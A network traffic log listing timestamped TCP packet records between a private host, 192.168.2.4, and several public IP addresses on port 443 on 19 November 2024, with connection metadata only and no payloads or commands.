Nov 19, 2024 00:01:25.810441971 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.810486078 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.810539007 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.820030928 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.820074081 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.834551096 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.834717989 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.834793091 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.842483997 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.842488050 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.853598118 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.853615046 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.861449957 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.861759901 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.861865044 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.863343954 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.863382101 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.944196939 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944318056 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944406033 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.944428921 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944458008 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944628000 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944655895 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.944704056 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944781065 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.944819927 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944911003 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.944973946 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.944988966 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.949069977 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.949162960 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.949182034 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.967762947 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.967834949 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.967879057 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.967911959 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.967920065 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.967973948 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.968036890 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.968070030 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.968111992 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.968121052 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.968137980 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.968195915 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.968195915 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.968214035 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.968281031 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.999232054 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.060723066 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.060906887 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.060992956 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061012983 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.061084032 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061163902 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.061182022 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061295986 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061357021 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.061372042 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061518908 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061579943 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.061594009 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.061990976 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.062052965 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.062066078 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.062170029 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.062232971 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.062246084 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.062872887 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.062941074 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.062954903 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.063045025 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.063129902 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.063134909 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.063158989 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.063215017 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.063266993 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088053942 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088227987 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088303089 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.088330030 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088433027 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088493109 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.088525057 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088604927 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088660002 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.088673115 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088764906 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088845968 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.088852882 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088877916 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.088942051 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.089335918 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.089504957 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.089565039 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.089577913 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.089668989 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.089726925 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.089740038 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.090296984 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.090358019 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.090369940 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.090471029 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.090544939 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.090558052 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.090635061 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.090703964 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.090715885 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.110342026 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.110378981 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.140341043 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.155354977 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.177478075 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.177639008 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.177702904 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.177715063 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.177743912 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.177803993 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.177823067 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.177948952 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178005934 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.178021908 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178134918 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178194046 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.178209066 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178309917 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178373098 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.178385973 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178741932 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178821087 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.178834915 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178860903 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178905010 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.178917885 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.178952932 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.179653883 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.179713011 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.179725885 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.179749966 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.179821014 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.179833889 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.179894924 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.180392027 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.180464029 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.180572987 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.180640936 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.181408882 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.181500912 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.181504965 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.181531906 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.181577921 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.181600094 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.181667089 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.181752920 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.182339907 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.182406902 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.208285093 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208431005 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208492041 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.208507061 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208533049 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208585978 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.208620071 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208739042 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208795071 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.208812952 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.208991051 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.209048986 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.209063053 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.209168911 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.209225893 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.209239960 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.209269047 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.209332943 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.209346056 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.209402084 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.209976912 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.210052967 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.210068941 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.210141897 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.210848093 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.210912943 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.210951090 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.211014032 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.211081028 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.211144924 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.211968899 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.212037086 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.212045908 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.212068081 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.212106943 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.212861061 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.212925911 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.212939024 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.212961912 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.212996006 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.213010073 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.213037968 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.213628054 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.213685989 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.213700056 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.213753939 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.294680119 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.294780016 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.294828892 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.294900894 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.294939995 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.295007944 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.295032978 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.295098066 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.295166969 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.295236111 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.295257092 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.295351982 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.295367956 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.295434952 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.295471907 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.295562983 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.295970917 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.296045065 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.296061039 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.296128988 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.296222925 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.296293974 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.296310902 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.296380043 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.297028065 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.297102928 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.297131062 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.297207117 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.297219992 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.297302008 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.297364950 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.328238010 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.328334093 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.328428030 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.328455925 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.328455925 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.328504086 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.349108934 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.391608000 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.415537119 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.415555954 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.419384956 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.419487000 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.445473909 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.445667982 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.445967913 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.446018934 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.447669029 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:26.447740078 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:26.485476017 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.485487938 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.532329082 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.648850918 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.691334963 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.883431911 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.883606911 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.883661985 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.883671999 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.883757114 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:26.883807898 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.889988899 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:26.889993906 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:27.645740032 CET	49672	443	192.168.2.4	173.222.162.32
Nov 19, 2024 00:01:27.645766973 CET	443	49672	173.222.162.32	192.168.2.4
Nov 19, 2024 00:01:28.131145000 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:28.131243944 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:28.131397963 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:28.132747889 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:28.132783890 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:29.005285978 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:29.005449057 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:29.127541065 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:29.127609015 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:29.128056049 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:29.171637058 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:29.320837021 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:29.320929050 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:29.321183920 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:29.321494102 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:29.321532965 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:29.816648960 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:29.816812038 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:29.816885948 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:29.993702888 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:29.993865967 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:29.994055986 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.054812908 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.055239916 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:30.055306911 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.055807114 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.056109905 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:30.056200981 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.056468010 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:30.099380970 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.194606066 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.194745064 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.194946051 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:30.196257114 CET	49770	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:30.196302891 CET	443	49770	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:30.219001055 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.219002008 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.219002008 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.219002008 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.219074965 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:30.219114065 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:30.219161034 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.219187021 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:30.219573021 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:30.219655037 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:30.219729900 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:30.220459938 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:30.220491886 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:30.312717915 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.355357885 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597340107 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597387075 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597405910 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597434998 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597497940 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597575903 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.597575903 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.597575903 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.597609997 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597635031 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.597692966 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.597716093 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.598120928 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.598231077 CET	443	49769	20.12.23.50	192.168.2.4
Nov 19, 2024 00:01:30.598289967 CET	49769	443	192.168.2.4	20.12.23.50
Nov 19, 2024 00:01:30.843238115 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:30.843404055 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:30.843478918 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:30.976547956 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:30.977253914 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:30.977318048 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:30.977804899 CET	443	49772	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:30.978293896 CET	49772	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:30.978384972 CET	443	49772	13.107.246.45	192.168.2.4
